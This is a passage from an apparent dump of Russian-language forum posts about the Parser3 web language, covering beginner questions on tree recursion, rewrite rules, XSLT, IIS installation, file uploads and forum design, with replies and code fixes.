К тому же, мне думается, разница не так огромна."
"51975","по многим параметрам mysql, по времени выполнения обходит всех остальных насколько я понял из этих дурацких диаграмм"
"51976","или попросите вашего админа поставить,\
или просто заранее скачайте этот архив в соответствующий каталог.\
\
файл build-all -- текстовый, можно смотреть ;)"
"51977","потому, что желаю, чтобы мне всё разжевали.\
\
а wget не ставлю в систему из экономии места."
"51978","Это только два уровня считается - корневая и ее подкатегория. А нужно еще все подкатегории всех подкатегорий и т.д. Все уровни нужны."
"51979","выложить его сюда, сказав, чем результат его работы отличается от желаемого.\
После этого вам помогут.\
\
А так, на пустом месте, думать и писать код за вас никто не будет, это вы уж мне поверьте."
"51981","У вас есть табличка:\
[code]\
$OBJECT[^table::load[/path/to/file.cfg]]\
[/code]\
Берете и делаете на ее основе два хэша:\
   -- один по id\
[code]$hALL[^OBJECT.hash[id]][/code]\
   -- другой по parent_id\
[code]$hCHILD[^OBJECT.hash[parent_id][$.distinct[tables]]][/code]\
\
Нужно получить всех потомков раздела \"ТОВАРЫ\"?\
Пожалуйста:\
[code]\
<H1>$hALL.[1].title</H1>\
^print_branche[$hALL.[1].id]\
[/code]\
\
При этом используется элементарный рекурсивный метод:\
[code]\
######################################\
@print_branche[_id]\
^if($hCHILD[$_id]){\
	<UL>\
		^hCHILD[$_id].menu{\
			<LI>$hCHILD[$_id].title\
				^print_branche[$hCHILD[$_id].id]\
			</LI>\
		}\
	</UL>\
}\
# end of @print_branche[_id]\
[/code]"
"51982","там много разных запросов (достаточно простых). \
\
ну а если сервер X не может быстро выполнять простые запросы то конечно, mysql team читит :)\
\
P.S. просмотривая результаты не стоит забывать, что в некоторых случаях mysql выполняет задачу Y быстрее т.к. другие в этом месте просто имеют дополнительные возможности."
"51984","они таки побыстрее и транзакции это удобно, когда данные в несколько таблиц кладешь, переносишь"
"51986","Пытаюсь сделать следующее:\
[code]...\
$parsed[^body.transform[main.xsl][\
	$.param1[articles.xsl]\
]]\
...[/code]\
\
main.xsl:\
[code]<?xml version='1.0' encoding='windows-1251' ?>\
<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\">\
	<xsl:output method=\"html\" encoding=\"windows-1251\"/>\
	<xsl:param name=\"param1\" />\
...\
<xsl:value-of select=\"$param1\" />[/code]\
\
ничего не выдаёт.\
Что здесь не так?"
"51989","при использовании xsl:attribute, пишет, что нельзя"
"51990","подумайте, как его добавить на этапе формирования входного XML.\
вопрос уже обсуждался…\
и не только на этом форуме."
"51991","ну... индексы по blob полям в innodb таблицах. \
\
или власть переменилась и оказалось что нету лишь full text индексов? :)"
"51992","Можно сделать как здесь - http://doc.woweb.ru/index.htm/id/1077327347"
"51996","Подскажите.\
Как учесть наличие / в адресе если использовать\
\
RewriteRule ^(.*)/$ /?page=$1 - нельзя.\
\
тоесть нужно чтобы сслыка типа /site/about/ приводилась к ?page=site/about"
"51998","Нужна альтернатива вот этому\
\
RewriteRule ^([a-z]+)/$ /?page=$1\
RewriteRule ^([a-z]+)/([a-z]+)/$ /?page=$1/$2\
RewriteRule ^([a-z]+)/([a-z]+)/([a-z]+)/$ /?page=$1/$2/$3\
\
чтоб одной строчкой охватить"
"51999","Есть код:\
[code]$rep[^table::create{from	to\
../../../	/}]\
$full[$form:full]\
$full[^full.replace[$rep]][/code]\
И $form:full равно\
[code]<img src=\"../../../i/articles/vbcxvcb/test_400.jpg\" alt=\"test_400\" title=\"test_400\" width=\"400\" height=\"233\" />[/code]\
После выполнения $full остаётся равным $form:full.\
Почему так м.б.?"
"52000","Столкнулся с такой странность\
\
$resize[^file::exec[/../cgi/nconvert;;-text_font Arial 12;-text_color 0 0 0;-text_back 158 153 101;-text_flag bottom-right;-text наносимый текст;$env:DOCUMENT_ROOT/content/catalog/$form:item_link/pre/$file_name]]\
\
Под windows всё нормально под linux делает все ( ресайзит, делает эффекты, конвертирует ), но наносить текст не хочет. \
\
Что это может быть ?"
"52002","Что под Linux у вас есть шрифт Arial?"
"52003","[quote]От тебя, Turkish, живого, не больше пользы, чем от мёртвого[/quote]PHP'шники выложили [i]это[/i]на своём сайте и обозвали [i]latest stable release[/i]. Я за что купил, за то и продаю..."
"52004","Поэтому я пробовал запускать без указания шрифта но всё рано не сработало ( хотя под win работает )\
\
$resize[^file::exec[/../cgi/nconvert;;-text_color 0 0 0;-text_back 158 153 101;-text_flag bottom-right;-text наносимый текст;$env:DOCUMENT_ROOT/content/catalog/$form:item_link/pre/$file_name]]"
"52005","Inno мене нравяться.\
Опять же можно с транзакциями, внешними ключами поиграться.\
Скорость/отказоустойчивость по заверениям доки много выше чем myisam таблиц.\
Но вот fulltext'а нема, а без него простой поиск \"не сделать\".\
Потому и переживам... :("
"52006","Одной строчкой это так:\
[code]RewriteRule	^(.*)/$	index.html?page=$1 [QSA][/code]\
\
А потом парсером резать $form:page на куски и брать соответственно $path_table.0, .1, .2 ..."
"52008","1. Открываю окно сообщения.\
2. Отправляю. \
3. Ничего не отправляется, окно рефрешится пустым.\
4. Повторная отправка из того же окна - срабатывает."
"52009","возможно ваш случай:\
http://www.parser.ru/forum/?id=51849\
\
если открываете его с этого сайта, то возможно ваш броузер игнорирует выданные ему заголовки, запрещающие кешировать страницу и кеширует таки её, из-за чего бывает послан."
"52010","броузер не перенастраивал, отправка данных вроде бы происходит (т.е. окно обновляется не сразу)"
"52011","хм, и часто вы используете полнотекстовый поиск MySQL-я?\
\
считаю что:\
\
- для организации поиска по _сайту_ значительно лучше использовать специальные поисковые механизмы которые индекситуют _страницы_ сайта. в этом случае единожны настроеный поисковый механизм будет продолжать работать и при добавлении текстовых полей в таблици, данные из которых выводятся на странице. \
\
- для специфических случаев (хотим мы например сделать \"специальный\" полнотекстовый поиск по форуму) не вижу больших проблем часть табличек сделать MyISAM"
"52012","Доброе время суток!\
\
   Не подскажете, как можно заставить Parser нумеровать строки в таблице при выводе в html?\
\
   Пример: есть таблица $sometable, из которой берутся данные. \
Как при выполнении ^sometable.menu{} получить сквозную нумерацию?"
"52014","в мануале написано, что заголовок можно отключить, но как именно не указано.\
в параметре $.method[] можно поставить html или text, но мне нужно просто содержимое без заголовка."
"52017","[code]\
	$.omit-xml-declaration[yes]\
[/code]"
"52018","ваша задача == такйна мадриццокого двора =) доверьтесь людям =) или не задавайте вопросов ))"
"52019","и вытаскивать трейды, подтрейды, подподтрейды, подподподтрейды... \
упс, доиграетесь и зацикливание отхватите... =)\
\
намек номер раз:\
может быть такое поле thread_id, которое будет верно верно хранить id корневого раздела вплоть до самого десятого уровня...\
\
намек номер два:\
подумайте наконец что вам надо - изобрести охуенно универсальный скрипт для дерева или просто построить дерево?\
\
я думаю ваша проблема в том, что вы боитесь потратить 2 Кб лишней памяти... т.к. ваша задача офигенно сложная отступите на 10 шагов назад - постройте просто дерево... открытое по самое ..."
"52020","Когда можно ожидать в разделе [url=\"http://www.parser.ru/download/\"]скачать[/url]?"
"52022","Я скачал http://www.parser.ru/f/1/download/win32/parser3_2_1_win32_cgi_xml.zip но [url=\"http://www.parser.ru/forum/?id=49819\"]проблема с $.encloser[\"][/url] осталась. А Миша писал, что на сайте еще [url=\"http://www.parser.ru/forum/?id=51175\"]нет этой версии[/url]. Вот я и спрашиваю."
"52023","Про windows-версию ничего сказать не могу - не пользуюсь."
"52024","однако действительно смутили даты изменений файлов и отсутствие sp2 в названии версии."
"52025","Win32 версия правильно о себе говорит как Parser/3.2.1sp2, FreeBSD версия тоже.\
На обеих работает encloser."
"52027","win32, freebsd, solaris - с $.encloser[\"] все ок."
"52029","почему не могу добавить сюда сообщение, а?"
"52033","В 6.0 всё заявленное лежит на своих местах."
"52035","Проблема заключалась в том, что в suexec было разрешено запускать cgi-скрипты только в /home\
Пересобрали suexec - все заработало"
"52037","Давайте прекращать флэйм. :)\
Я не говорю, что какой-то из ДБ серверов лучше или хуже.\
ОНИ ВСЕ заточены под свои нужды.\
Один мой знакомый плюется на РНР, Парсер и Перл. И пишет все веб-приложения на Си. Я с ним  не согласен. Она сом ной.\
\
THE END."
"52039","сделал всё так, как было тут http://www.parser.ru/docs/lang/lesson1.htm \
переделал так:\
\
raport.cfg\
id	dateDone	is_Done\
1	10.04.06	Parser 3.2 on FreeBSD 6\
2	11.04.06	raport\
\
auto.p\
@raport[]\
$sections[^table::load[raport.cfg]]\
<div class=\"left\">\
^sections.menu{\
<span class=\"date\">$sections.dateDone</span>&nbsp; $sections.is_Done is done!<br>\
}\
</div>\
\
index.html\
^raport[]\
\
выходит:\
10.04.06  raport is done!\
11.04.06  \
\
в чем может быть проблема?"
"52041","[code]id	dateDone	is_Done\
1	10.04.06	Parser 3.2 on FreeBSD 6\
2	11.04.06	raport[/code]"
"52042","а если после того как заработает захотите его вернуть - почитайте FAQ & Co..."
"52043","спасибо - теперь всё работает =)"
"52044","Как лучше удалять сообщение, если у него есть дочерние сообщения:\
- \"метить\" его как \"не публикуемое\" и удалять только тело\
- удалять сообщение и тело и потом рекурсивно удалять его потомков.\
?\
\
Первый вариант видется мне проще, однако будет ли правильно оснавлять удаленные сообщения в базе.\
\
Уменьшать ли \"счетчик\" написанных собщений автора, когда его сообщение удаляется?"
"52047","но пользоваться им должны только админы.\
\
Если вам нужны удаленные сообщения в базе, то можете помечать их как не опубликованные.\
\
Если нет -- удаляйте, а лучше изкореняйте (с потомками). При этом если вы где то отдельно храните количество сообщений, написанных автором, то эту цифру желательно обновить."
"52048","Обычно, если форум \"нормальный\" в плане его посетителей, то удалять сообщения вообще не приходится. Удаляют те сообщения, которые некорректны в цензе, или просто флуд. Я бы не удалял, а просто помечал, как не_публикуемое, и текст бы не очищал. А счетчик бы декризил. Да еще и со штрафом - флуд -  -2 сообщения."
"52049","на данный момент у меня рекурсия удалея строится от родителя к детям. Я, вообщем-то, и удалять так собираюсь.\
\
Однако, представим себе гипотетическую сиьуацию:\
1. Удаляем родителя\
2. Во время удаления потоммков происходит сбой (гипотетически)\
3. Потомки остаются без родителя\
т.е.\
- сослаться на сообщение можно\
- построеть для него дерево - нельзя...."
"52050","[quote]Удаляют те сообщения, которые некорректны в цензе, или просто флуд.[/quote]\
Об этом речь и идет. Однако, бывают ситуации, когда ветку или ее чать нужно просто убить.\
\
[quote]Я бы не удалял, а просто помечал, как не_публикуемое, и текст бы не очищал.[/quote]\
А текст зачем оставлять?\
\
[quote]...Да еще и со штрафом - флуд - -2 сообщения.[/quote]\
Ну это, помоему, лишне. Уж тогда проще \"забанить писателя\"..."
"52051","Например есть запрос:\
[code]\
DELETE LOW_PRIORITY FROM message where message_id IN (112,123,129,201,223,548)\
[/code]\
\
Как этот запрос может быть выполнен не полностью?"
"52052","...про IN я забыл... Собирался делать все через рекурсию, т.е. сначала удалять родителя, потом его детей, потом...\
Надо будет сформировать кусок дерева потомков а тотом с помощью IN попробовать их всех за раз удалить.\
Мысль... Завтра попробую сделать. Если получиться - форум будет готов и я его выложу...."
"52053","кто нить пробовал запускать парсер из под jail(freebsd). Если да то быди ли у вас проблемы из запуском.\
уменя \"большые проблемы\" :-)\
система выбраывает парсер из сообщением:\
Bad system call (core dumped)\
а в gdb имею:\
\
GNU gdb 6.1.1 [FreeBSD]\
Copyright 2004 Free Software Foundation, Inc.\
GDB is free software, covered by the GNU General Public License, and you are\
welcome to change it and/or distribute copies of it under certain conditions.\
Type \"show copying\" to see the conditions.\
There is absolutely no warranty for GDB.  Type \"show warranty\" for details.\
This GDB was configured as \"i386-marcel-freebsd\"...\
Core was generated by `parser3'.\
Program terminated with signal 12, Bad system call.\
Reading symbols from /usr/local/lib/libgc.so.1...done.\
Loaded symbols for /usr/local/lib/libgc.so.1\
Reading symbols from /lib/libcrypt.so.2...done.\
Loaded symbols for /lib/libcrypt.so.2\
Reading symbols from /lib/libm.so.3...done.\
Loaded symbols for /lib/libm.so.3\
Reading symbols from /lib/libc.so.5...done.\
Loaded symbols for /lib/libc.so.5\
Reading symbols from /usr/lib/libc_r.so.5...done.\
Loaded symbols for /usr/lib/libc_r.so.5\
Reading symbols from /libexec/ld-elf.so.1...done.\
Loaded symbols for /libexec/ld-elf.so.1\
#0  0x2819f99b in ksem_init () from /lib/libc.so.5\
(gdb) bt\
#0  0x2819f99b in ksem_init () from /lib/libc.so.5\
Cannot find thread 1: Thread ID=1, generic error\
(gdb) quit\
\
\
причем трейды не работают только в парсере"
"52054","здравствуйте,\
нижеприведенный код выводит таблицу с именами клиентов и скидкой каждого клиента вписанной в инпут. задача - нужно нажатием одной кнопки внизу таблицы обновить все поля в базе взяв значения из всех инпутов. несмотря на простоту нифига не получается :\\ выводится ошибка:\
[b]handled[/b]\
element can not be stored to void\
\
вот такой код:\
\
[code]\
$percent_table[^table::sql{SELECT name, percent, code FROM customers}]\
\
<form name=discount method=post>\
\
^percent_table.menu{\
   <tr>\
       <td>$percent_table.name</td>\
       <td align=center><input class=perc type=text value=$percent_table.percent name=$percent_table.code></td>\
   </tr>\
}\
\
</table>\
\
\
<input type=hidden name=go value=\"go\">\
<input type=submit value=\"Обновить\">\
</form>\
\
\
^if(def $form:go){\
^percent_table.menu{\
^void::sql{UPDATE customers SET percent='$form:$percent_table.code' WHERE code='$percent_table.code'}\
}\
}\
[/code]\
\
\
помогите пожалуйста."
"52055","простите, текст ошибки может быть из другой оперы :("
"52056","однако при этом текст ошибки должен быть другой\
\
по поводу этого:\
$form:$percent_table.code\
\
в FAQ"
"52058","Многолетняя жизнь на форумах/конференциях, а также опыт в разработке серьезных правил поведения больших толп посетителей мне подсказывают, что не стоит навсегда удалять любые сообщения. Только скрывать. Иначе вы не сможете доказать правоту/неправоту одной из сторон. И будет ваше модераторство - произволом и диктатом. Вы даже не сможете продемонстрироввать причину бана...\
Более того, я вообще запрещаю редактировать сообщения. Написал - отвечай за написанное. Другое дело, желательно обеспечить предпросмотр и проверку орфографии.\
Штраф лучше делать ступенчатым, потому как ничто не делает человека агрессивным и изощренным, как забанивание. Получите 10 клонов недовольного юзера. Я применяю 1й штраф на 7 дней, второй - на 30, третий на год, четвертый - отключение (т.е. человек ходит год под угрозой отключения). С суммированием штрафных дней, ежедневным вычитанием и снижением \"штрафного\" порога по мере прохождения границ штрафов."
"52059","Удаление - для очевидного спама.\
Скрытие - для всего остального"
"52060","Здравствуйте, проблемма вот в чем, скачал фаил, поставил, сделал все как написанно, не работает! пишет 403 ошибку! Что делать!"
"52064","Почему же это флуд?\
Объясняю еще раз. Скачал установочный файл, запустил его установка прошла, настроил сервер IIS как написанно в документации, но парсер все равно пишет 403 ошибку. В чем здесь дело? Помогите пожалуйста!"
"52066","Так в том то и дело что все это прочитанно, но все равно не работает!\
Я выбрал при установке парсера поддержку xml и сделал все как сказанно в инструкции по настройке, но ничего не получилось! В чем я мог ошибиться?"
"52067","Форум реализован в виде одного файла-класса + xsl шаблон.\
На настройки индивидуальных параметров форума я пока не замарачивался... пока не так важно."
"52068","Так в том то и дело, что все прочитанно, и сделано как написанно, пробовал делать все несколько раз, по шагам вчитывался в каждую букву, но не получается. В чем я мог ошибиться!"
"52070","Ну так что, никто не поможет? Только и можите говорить читай, читай фак, а сами такими же были! И так же помощи просили! А сейчас другим которые хотят разобраться помочь немного не хотите, ведь половину начинающих надо только направить и все!\
Я же не прошу Вас ковырять мой код! Вы даже за всю дисскусию не предположили ни одного варианта!"
"52071","- насколько я понимаю, пользователей IIS тут очень не много\
\
- они есть и они описывали в форуме процедуры обхода подводных камней не раз, наверное делать это в N-ный раз им лень\
\
- насколько я понимаю новички обычно устанавливают SwissKnife или Denver, которые включают в себя и сервер, и парсер и ещё кучку всего, уже более менее настроенного\
\
- ну и последнее: для того чтобы установить парсер под IIS наверное надо знать что-то про последний, в чем помогает его документация"
"52072","Дело в том, что я скачал не денвер и не нож, а установщика, сделал все по инструкции! Но что то не так!"
"52073","а дальше нужно настраивать ваш веб сервер."
"52074","Предполагаю, что проблемма не в парсере, так как парсер установлен по инструкции, тестовая страница имеется но не открывается браузером, и пишет ошибку 403-404! Может дело в IIS"
"52075","Проблемма разрешилась сама собой, теперь такая проблема открывает мою страничку долго, а потом по ссылкам носиться быстро! В чем проблемма?"
"52076","В доке рассказывается про Windows 2000 и IIS5, но не думаю, что в IIS6 многое изменилось.\
\
В вашем случае лучше использовать не parser3isapi.dll, а parser3.exe.\
\
\"Шаг 3\" пропустите."
"52077","Дело в том что, с exe ничего не работает вообще! А пропутить третий шаг не пробовал, спасибо!"
"52078","и он вас принялся чрезмерно защищать. URLScan по умолчанию считает, что запуск любого exe-шника вебсервером - зло. Надо читать документацию, чтобы знать, как объяснить ему, что запуск parser3.exe - не криминал.\
\
Резюме - лень читать документацию - ставьте Ножик.\
Хотите поставить IIS - вдумчиво читайте документацию на support.microsoft.com и msdn.microsoft.com, отдавая себе отчёт во всём что делаете. Если не отдаёте отчёта, а слепо тыкаетесь - получится шаманское камлание с бубном и кроличьей лапкой. У некоторых пляски с бубном случайно приводят к нужному результату, но случается это редко."
"52079","при первом обращении в память читается dll'ка и делается и кешируется подключение к базе. Дальше все работает быстро, т.к. следующие запросы обрабатывает уже \"раскочегаренный\" Парсер.\
\
Возможно, у вас работает антивирус и первая загрузка земедляется, пока не окончена проверка файлов парсера на вирусы."
"52080","спасибо, но то что Вы мне дали в предидущем сообщение, совершенно не помогло, т.к. разница есть между 5 и 6, вопервых нету половины того что описанно в вашей документации.\
А что лучшее обработка через длл или ехе, на сайте написанно что длл производительнее!\
3-й пункт не делался вообще так как я пользовался другой документацией по установке!\
Я так понимаю проблема не в парсере а в настройке иис.\
Спасибо, будем пробовать!"
"52081","Еслибы, потом все работало быстро, оказывается что все работает быстро до определенного момента, потом все тормозиться до невозможности, но если в консоли отключить а потом снова включить сервер, тогда все немного ускоряется но не надолго!\
В чем здесь дело непонятно!"
"52082","и увеличивает кэш в памяти. Если службу не настроить соответственно возможностям и задачам вашего сервера (IIS по умолчанию в конце концов отожрёт столько ресурса, сколько нужно для обслуживания 10 тыс. запросов в час - это \"default value\"), то вебсервер начинает требовать больше памяти, чем есть в вашем компьютере. \
\
Читайте документацию или не выпендривайтесь, ставьте \"ножик\".\
\
Пока всё свидетельствует о том, что IIS вы довести до ума в обозримом будущем не сможете."
"52084","Более-менее доработал Форум.\
В основу леги\
- часть исходников Сергей Яценко\
- \"Копилка регулярных выражений\" от Misha v3\
- ...\
\
Берем здесь: [url=\"http://parser.proc.ru/iso/com_forum.zip\"]http://parser.proc.ru/iso/com_forum.zip[/url]\
\
Форум построен на XML.\
В настоящий момент доступно:\
- добавление пользователей/редактирование пользователя\
- добавление/редактирование/удаление (пометка как не опубликованные) собственных сообщений\
- удаление(пометка как не опубликованные)/удаление сообщений вместе с потомками\
- поиск по форуму\
- что-то еще (не помню)\
\
Пока не реализовано:\
- индивидуальные настройки форума для пользователя\
- посылка сообщений на почту\
- \"TOP Писателей\"\
- список участников форума\
- что-то еще (не помню)\
\
Вопросы/комментарии -> в этой ветке.\
На сайте parser.proc.ru форум заработает только на следующей недели, когда сделаю файловый архив для исодников для участников форума. Пока в голове еще не построил весь концепт."
"52085","проблема ушла:\
http://www.parser.ru/forum/?id=51432\
\
но толком не разобрались."
"52086","[code]<xsl:variable name=\"locale-strings\">\
	<xsl:text>locale/</xsl:text>\
	<xsl:value-of select=\"$lang\"/>\
	<xsl:text>.xml</xsl:text>\
</xsl:variable>\
<xsl:variable name=\"locale\" select=\"document ($locale-strings)/locale\"/>[/code]"
"52087","1. Очень много опечаток: \"возвращайет\", \"модль\"\
2. в архиве лежит Мишин класс sql, но в классе форума он не используется (конструкцию типа [i]$lastId[^int:sql{SELECT LAST_INSERT_ID()}][/i] мой MS SQL не поймёт)\
- это то, что заметил сразу."
"52088","[code] value=\"$_parent_id)\"[/code]\
\
масса forum_message_id = '$id', апострофы здесь - лишнее преобразование\
\
8 штук одинаковых auth::init, когда можно один раз\
\
и далее, и далее...\
мелочи, про которые даже лень расписывать.\
\
что такое локальные переменные, вы, видимо, не знаете...\
\
Ну и апофеоз:\
[code]\
@optimize[text]\
$result[$text]\
#$result[^result.match[\\n|\\t][g]{}]\
[/code]\
\
PS\
Методы, по типу:\
[code]@getMsgCountUser[uid]\
$ts[^table::sql{SELECT count(forum_message_id) FROM forum_message WHERE user_id = '$uid' AND is_published=1 GROUP by thread_id}]\
$result[^ts.count[]]\
[/code]\
по-моему вернут количество [b]веток[/b], в которые писал юзер, а не количество сообщений юзера.\
И для подсчёта сообщений и для посчёта веток и sql запрос и сам код метода должны быть другими.\
Зачем тянуть таблицу - вообще непонятно.\
\
[code]\
@getUsersCount[]\
$result[^table::sql{SELECT COUNT(id) FROM users}]\
[/code]\
Опять зачем-то таблица...\
\
И всё в том же духе."
"52089","У меня ошибка:\
connection string must start with protocol://\
Ошибку вызвал этот фрагмент:\
connect \
Ошибка произошла при работе с файлом:\
//classes/sql.p, строка номер 76\
\
Целый день пыталась найти ответ на форуме. Не получается.\
Помогите!!!\
\
Вот два варианта корневого auto.p, дающего одну и туже ошибку.\
\
========================================\
@USE\
mysql.p\
dtf.p\
lib.p\
\
@auto[] \
$MAIN:pSQL[^mysql::init[$SQL.connect-string][mysql://root:1@localhost/p3test]]\
\
\
==========================================\
\
@auto[] \
$pSQL[^mysql::init[$SQL.connect-string[mysql://root:1@localhost/p3test];\
	$.cache_dir[/../data/sql_cache]\
]]"
"52090","[code]\
@auto[]\
$pSQL[^mysql::init[mysql://root:1@localhost/p3test]]\
[/code]"
"52091","БОЛЬШОЕ спасибо!\
Буду разбираться дальше."
"52092","<form  method=post action=\"load.html\" enctype=\"multipart/form-data\">\
<input type=\"hidden\" name=\"go\" value=\"file\">\
Путь<input name=\"upload\" size=\"50\"><br>\
<input type=\"submit\" value=\"&#206;&#242;&#239;&#240;&#224;&#226;&#232;&#242;&#252;\"><br>\
</form>\
\
^if(def $form:upload){\
^form:upload.save[binary;/img/image.jpg]\
}\
\
\
Выдаёт ошибку:\
binary\
unknown mode, must be 'append'\
\
В форуме много подобных тем, но ошибку так устранить не удалось!\
помогите плииз..."
"52093","[code]<input name=\"upload\" type=\"file\">[/code]\
а то как-то странно вы файл загружаете"
"52094","Подскажите, пожалуйста, а как быть \
с выносом классов за пределы веб-пространства,\
в случае, хоста с предустановленным parser-ом.\
У меня нет доступа к главному конф. файлу???"
"52095","с Апачем знаком 1,5 дня из них пол дня работы лично... установить установил...руский на ХР...протестировал пару шаблонов ,только потом их удалил из корневой ,а откуда мне их показывает...? даже после удаления апача и следующей переустановке всегда их рисует мне...пока небыло инета...перставил винду...неприятно...готов залить еще сайты только вот потом как с ними быть...?ССчас переустановлю Апач версия apache_2.0.48-win32-x86-no_ssl...ночь...\
   По поводу парсера...весьма интересно...пообщаться с теми кто знаком с ним и где его взять...Насчет Апача та же история по поводу общения...  Счастливо и спасибо за Внимание..."
"52097","[code]Unhandled Exception (Debug)\
\
element can not be stored to void\
\
answers\
\
h:/home/ndt/www/../../../data/classes//poll.p(105)[/code]\
\
Все таблицы пустые. Какие начальные установки нужны?"
"52098","цитирую:\
[quote]Более-менее доработал Форум.[/quote]\
Так что там еще много чего лишнего, недаделанного, и не оптимизированного. Фактически - каша кода, который работает.\
\
[quote]8 штук одинаковых auth::init, когда можно один раз[/quote]\
Класс auth я \"прикрутил\" в последний момент, поэтому, его инициализацию \"добивал\"...\
Хотя, с критикой полностью согласен.\
\
[quote]\
@optimize[text]\
$result[$text]\
#$result[^result.match[\\n|\\t][g]{}]\
[/quote]\
#$result[^result.match[\\n|\\t][g]{}] - осталось от другого метода, забыл стереть...\
\
[quote]\
@getMsgCountUser[uid]\
$ts[^table::sql{SELECT count(forum_message_id) FROM forum_message WHERE user_id = '$uid' AND is_published=1 GROUP by thread_id}]\
$result[^ts.count[]]\
[/quote]\
Этот метод я еще не использовал. Я его просто включил, чтобы потом не забыть про него. Вообще, для подсчета сообщений пользователя есть специальное поле которое наращивается при добавлении нового сообщения и уменьшается при удалении оного.\
\
Для меня главно, что код работает. Причесывать его конечно надо, не спорю. Но главное, что есть вполне рабочий базис для форума на xml."
"52099","Давайте вы перестанете курить то, что курите, сходите погулять на свежий воздух, а затем постараетесь высказаться более последовательно и связно. Пока же [i]ни хрена не понятно[/i]"
"52100","[quote]1. Очень много опечаток: \"возвращайет\", \"модль\"[/quote]\
... *^*. \"Проверки орфограции\" в HomeSite у меня нет, а делать это вручную для OpenSource, мне не всегда сруки.. O_O. У каждого свои минусы.\
\
[quote]2. в архиве лежит Мишин класс sql, но в классе форума он не используется (конструкцию типа $lastId[^int:sql{SELECT LAST_INSERT_ID()}] мой MS SQL не поймёт)\
- это то, что заметил сразу.[/quote]\
Мне больше нравиться метод используемый Egr:\
В главном auto.p инициализируем SQL-объект и инициализируем connect, а далее во всех классах подразумевае что мы внутри сессии:\
[code]\
@main[]\
^objSQL.server{\
#	вызываем обработчики для index.html\
	^content[]\
}"
"52104","Я не спорю, возможно Мишин клас удобнее использовать. Однако, для этого надо просмотреть все классы и переделать на них вызовы SQL. Планы на будущее..."
"52106","Создаю файлы как описано в уроках. Запускаю броузер, получаю ответ. Что делать?\
В работе Parser произошла ошибка:\
column not found\
Ошибку вызвал этот фрагмент:\
cfg \
Ошибка произошла при работе с файлом:\
/auto.p, строка номер 7\
Что обычно приводит к ошибке «parser.runtime»?\
вы вызываете несуществующий метод (опечатка в имени или файл, в котором он лежит, недоступен?), методу передано неправильное количество параметров (нигде, часом, не забыли поставить \"птичку\" перед знаком ; где он не несёт специального значения?) или не тех типов, и т.п. Возможно, где-то опечатка в названии стандартной функции или в её использовании. Внимательно перепроверьте ваш код.\
\
Последовательность операций, которая привела к ошибке:\
(от самой последней вверху списка до самой первой внизу) \
menu в файле /auto.p, строка 5 \
navigation в файле /index.html, строка 1"
"52107","Вы бы хоть свой код пивели. А то ясновидящих тут не очень много."
"52108","Урок 1. Меню навигации\
Давайте начнем с самого начала. Итак, вы хотите сделать сайт (узел, сервер). Первым делом,\
...........\
 В корневом каталоге будущего сайта создаем файл\
sections.cfg, в который помещаем следующую информацию:\
section_id name uri\
1 Главная /\
2 Новости /news/\
3 Контакты /contacts/\
4 Цены /price/\
5 Ваше мнение /gbook/\
Здесь используется так называемый формат tabXdelimited. Столбцы разделяются знаком табуляции, а\
строки – переводом каретки. При копировании этой таблицы в текстовый редактор данное\
форматирование будет создано автоматически, но если вы будете создавать таблицу вручную,\
необходимо это учитывать. Для таблиц ВСЕГДА применяется формат tabXdelimited.\
2. В том же каталоге, где и sections.cfg, создаем файл auto.p\
В нем мы будем хранить все те кирпичики, из которых впоследствии Parser соберет наш сайт. AUTO\
означает, что все эти кирпичики будут всегда доступны для Parser в нужный момент, а расширение \".p\",\
как вы, наверное, догадались, это… правильно! Он самый!\
3. В файл auto.p вставим следующий код:\
@navigation[]\
$sections[^table::load[sections.cfg]]\
<table width=\"100%\" border=\"1\">\
<tr>\
^sections.menu{\
<td align=\"center\">\
<a href=\"$sections.uri\"><nobr>$sections.name</nobr></a>\
</td>\
}\
</tr>\
</table>\
Данные из этого файла и будут служить основой для нашего навигационного меню.\
Вот и все, подготовительные работы закончены. Теперь открываем код страницы, где все это должно\
появиться (например, index.html), и говорим: «Вставить меню навигации». На Parser это называется\
«вызов метода» и пишется так:\
^navigation[]\
Осталось только открыть в браузере файл, в который мы вставили вызов метода и посмотреть на\
готовое меню навигации. Теперь в любом месте на любой странице мы можем написать заветное\
^navigation[], и Parser вставит туда наше меню. Страница будет сформирована «на лету». Что\
хотели, то и получили.\
......."
"52109","ключевое слово - \"tabXdelimited\"."
"52110","А конкретнее?\
\
Почти полный ответ, ключевое слово - \"tabXdelimited\"."
"52112","Вы скопировали текст[code]section_id	name	uri\
1	Главная	/\
2	Новости	/news/[/code]из браузера и символ табуляции заменился на пробел. \
\
Поля должны разделяться табуляторами: [code]1===tab=>Главная===tab=>/[/code]\
\
Вторая вероятная причина - вы где-то по ошибке вместо имени файла sections.cfg написали $sections.cfg (это имя столбца cfg в таблице sections). Столбца с таким именем нет, о чём Парсер вам любезно сообщает."
"52113","понял. Спасибо."
"52114","тут всё нормально...\
дальше файл не сохраняется!"
"52115","А чо интересно, знаете было такое течение в литературе - поток сознания. Скажи чо ты куриш - я тоже так хочу. А насчет того, что браузер отображает сайты, которые ты удалил из корневого, так это не обязательно глюки. Просто после удаления надо нажать кнопку обновить:) - должен выдать страницу 404:)."
"52116","поправьте, проверьте.\
\
вы ведь за помощью пришли? почему же не принимаете её?"
"52117","это нечто другое ;)"
"52118","[code]$poll[^poll::create[\
# все таблицы созданы с соответствующими именами, пусты\
	$.pi_table[ndt_poll_info]\
	$.pa_table[ndt_poll_answers]\
	$.pr_table[ndt_poll_users]\
]]\
^poll.show[\
#	$.poll_id[]\
# путь изменен, файл на месте\
	$.xslt_path[/xsl/poll.xsl]\
	$.request[$form:tables]\
][/code]\
\
[i]P.S. Кстати, а админка прилагается к классу (модулю)?[/i]"
"52119",":))) Коллега, - вашу траву в студию!"
"52121","Админ часть не прилагается. Я её выложил только для того чтобы было понятно в каком направлении идти.\
\
По поводу вашего кода.\
1. Не вижу у вас строки создания объекта.\
2. Не знаю что и как вы копировали и что меняли, я только что удалил все опросы в примере и получил логичную ошибку: $poll_id must be defined\
3. Если сделать так:\
[code]\
...\
$id(^int:sql{ SELECT poll_id FROM poll_info}[$.limit(1) $.default{0}])\
^if($id){\
	^poll.show[\
		$.xslt_path[/путь/show_poll.xslt]\
		$.request[$form:tables]\
	]\
}\
[/code]\
\
То вы ничего не увидите, т.к. ваши таблицы данных пусты.\
\
Никаких других дополнительных установок для работы класса не требуется.\
\
Чуть позднее обратил внимание на номер строки с ошибкой и понял в чём беда. Вы вызываете метод не так как показали в коде:\
[code]\
^poll.show[\
#	$.poll_id[]\
